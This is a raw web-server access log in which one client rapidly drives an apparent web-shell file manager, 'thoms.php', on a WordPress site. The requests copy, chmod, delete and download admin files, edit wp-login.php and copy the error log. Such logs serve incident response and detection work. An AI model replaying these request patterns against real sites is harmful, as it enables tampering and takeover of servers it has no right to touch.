45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-admin.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22175 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?chmod=upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?chmod=js&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=js&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=js&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21983 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink-parse-opml.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?del=options-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/includes/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=options-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?dl=privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?dl=post-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22235 "https://163.245.207.76:443/thoms.php?dl=privacy.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/user-new.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ftheme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ftheme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=post-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ftheme-install.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?chmod=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?chmod=async-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=async-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnetwork.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnetwork.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?dl=options-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22265 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fnetwork.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/options-privacy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=options-discussion.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/admin-ajax.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?del=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-themes.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=update.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22231 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:18 -0400] "GET /thoms.php?chmod=admin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=admin-post.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?chmod=credits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/menu.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?del=edit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=credits.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?del=media-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=edit-tags.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=media-upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/media-upload.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22275 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Flink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?dl=options-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?dl=options-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=options-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=options-head.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?dl=update-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=update-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fwidgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fwidgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/link.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22279 "https://163.245.207.76:443/thoms.php?dl=update-core.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fwidgets-form-blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?chmod=options-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=options-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?dl=options-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=options-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fpost-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fpost-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=options-general.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22282 "https://163.245.207.76:443/thoms.php?dl=options-writing.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fpost-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22270 "https://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?edit=wp-login.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?edit=wp-login.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?edit=wp-login.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-login.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Ferror_log&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Ferror_log&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
